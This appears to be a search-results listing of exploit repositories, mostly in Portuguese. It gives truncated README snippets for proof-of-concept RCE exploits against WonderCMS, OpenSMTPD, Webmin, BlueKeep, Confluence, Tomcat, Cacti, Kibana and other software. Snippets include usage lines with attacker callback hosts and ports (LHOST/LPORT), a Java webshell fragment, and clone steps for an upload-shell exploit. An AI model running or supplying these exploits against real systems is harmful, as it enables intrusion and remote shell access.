319830 matches found
CVE-2023-41425
CVE-2023-41425 CVE-2023-41425 XSS para RCE, Wonder CMS 3.2.0 = 3.4.2 Uso ➜ CVE-2023-41425 python3 exploit.py Enter target URL RHOST, e.g., http://example.com/loginURL: http://redacted.com/loginURL Enter your local host IP LHOST, e.g., 10.10.14.xxx: xx.xx.xx.xx Enter your local web server port...
Mitigate-CVE-2023-46747
Playbook Ansible para mitigar o CVE-2023-46747 K000137353: vulnerabilidade de execução remota de código não autenticada no utilitário de configuração BIG-IP CVE-2023-46747 Aqui está o link https://my.f5.com/manage/s/article/K000137353 Como usar 1. Faça o git clone do meu repositório...
CVE-2025-1974-poc
POC do IngressNightmare, RCE no Ingress NGINX CVE-2025-1974 Desenvolvido a partir de: https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilitieshow-did-we-discover-ingressnightmare-24 Obrigado Instruções de Uso forward the admission...
CVE-2020-7247-exploit
CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 Exploit de PoC para Execução Remota de Código Referência: https://www.openwall.com/lists/oss-security/2020/01/28/3 Uso python3 exploit.py Dependências pip3 install --user pwntools...
CVE-2019-15107
CVE-2019-15107 webmin or minisever RCE Uso do Script: Testado na v1.890, mas também deve funcionar em outras versões do webmin nas quais este backdoor está instalado. python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...
monstra_cms-3.0.4--getshell
monstracms-3.0.4--getshell monstracms-3.0.4-upload getshell CVE- 2018-17418 Análise de código Code analysis: Na linha 150 de monstra\plugins\box\filesmanager\ filesmanager.admin.php, existe uma variável forbiddentypes que serve como restrição de lista negra; continue a seguir essa variável. Na...
CVE-2021-26814
CVE-2021-26814 Um PoC simples em Python para explorar a CVE-2021-26814 e obter RCE no Wazuh Manager v.4.0.0-4.0.3 através do serviço de API. Para executá-lo, basta tornar o script .py executável e lançá-lo com os parâmetros necessários. PoC.py -h -user USERNAME -pwd PASSWORD -lip SRCIP -lport...
Remote-Code-Execution-RCE-Exploit-BlueKeep-CVE-2019-0708-PoC
BlueKeep Exploit Descrição Este repositório contém um exploit Proof-of-Concept PoC para a vulnerabilidade BlueKeep CVE-2019-0708, que permite a execução remota de código em sistemas Windows através do protocolo RDP. Estrutura do Diretório /python : Exploit PoC para BlueKeep em Python. /java :...
CVE-2016-10033
CVE-2016-10033 Vulnerabilidade de Execução Remota de Código no PHPMailer. Mais sobre CVE-2016-10033: CVE-2016-10033 Wiki...
Shiro_Xray
ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 extends...
CVE-2022-23642
PoC para Sourcegraph Gitserver 3.37.0 RCE CVE-2022-23642 O Sourcegraph anterior à versão 3.37.0 possui uma vulnerabilidade de execução remota de código no seu serviço gitserver. Isso se deve à falta de restrição na execução de configuração do git, permitindo que "core.sshCommand" seja passado nos...
CVE-2022-26134
CVE-2022-26134 -u URL, --url URL URL alvo -c COMMAND, --command COMMAND comando -i LHOST, --lhost LHOST endereço do host de callback -p LPORT, --lport LPORT porta do host de callback -f FILE, --file FILE varredura em lote...
CVE-2024-50379-POC
CVE-2024-50379-POC Este repositório contém um script Python projetado para explorar a CVE-2024-50379 , uma vulnerabilidade que permite que atacantes façam upload de um shell JSP para um servidor vulnerável e executem comandos arbitrários remotamente. Este exploit é particularmente útil quando o...
CVE-2024-4040
CVE-2024-4040 Uma vulnerabilidade de injeção de template no lado do servidor no CrushFTP em todas as versões anteriores a 10.7.1 e 11.1.0 em todas as plataformas permite que atacantes remotos não autenticados leiam arquivos do sistema de arquivos fora do VFS Sandbox, ignorem a autenticação para...
CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26
CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26 Exploit totalmente automatizado para CVE-2024-25641. Quando um usuário está autenticado, o Cacti versão 1.2.26 é vulnerável a uma vulnerabilidade de escrita arbitrária de arquivo, explorável através do recurso "Package Import", permite que usuário...
CVE-2023-34960
CVE-2023-34960 Chamilo कमांड इंजेक्शन स्वचालित अपलोड शेल के साथ। अपनी तर्कशक्ति का उपयोग करें अपने परिणाम भेद्यता पर पथ निर्देशिका जांचें, फिर आप अपने एक्सेस शेल wso.php पा सकते हैं स्थापित करने और निष्पादित करने के लिए $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $ cd CVE-2023-34960 $...
CVE-2025-47812
CVE-2025-47812 - Execução Remota de Código RCE no Wing FTP Server =========================================================== Autor: blindma1den Data: Julho de 2025 Tipo de Exploit: Execução Remota de Código Não Autenticado Alvo: Wing FTP Server 7.4.4 Pontuação CVSS: 10.0 Crítico DESCRIÇÃO Este...
CVE-2023-36884-MS-Office-HTML-RCE
CVE-2023-36884: RCE em HTML do MS Office com documentos manipulados Em 11 de julho de 2023, a Microsoft lançou uma atualização destinada a corrigir múltiplas vulnerabilidades de Execução Remota de Código RCE ativamente exploradas. Essa ação também trouxe à luz uma campanha de phishing orquestrada...
cve-2019-7609
CVE-2019-7609 Exploit para CVE-2019-7609 escrito em python3.6+ baseado no código de LandGrey. CVE-2019-7609 : RCE em versões do Kibana anteriores a 5.6.15 e 6.6.0 no visualizador Timelion. Uso 1. Inicie um listener 2. Execute o exploit com a URL do alvo URL base do servidor Kibana, o endereço do...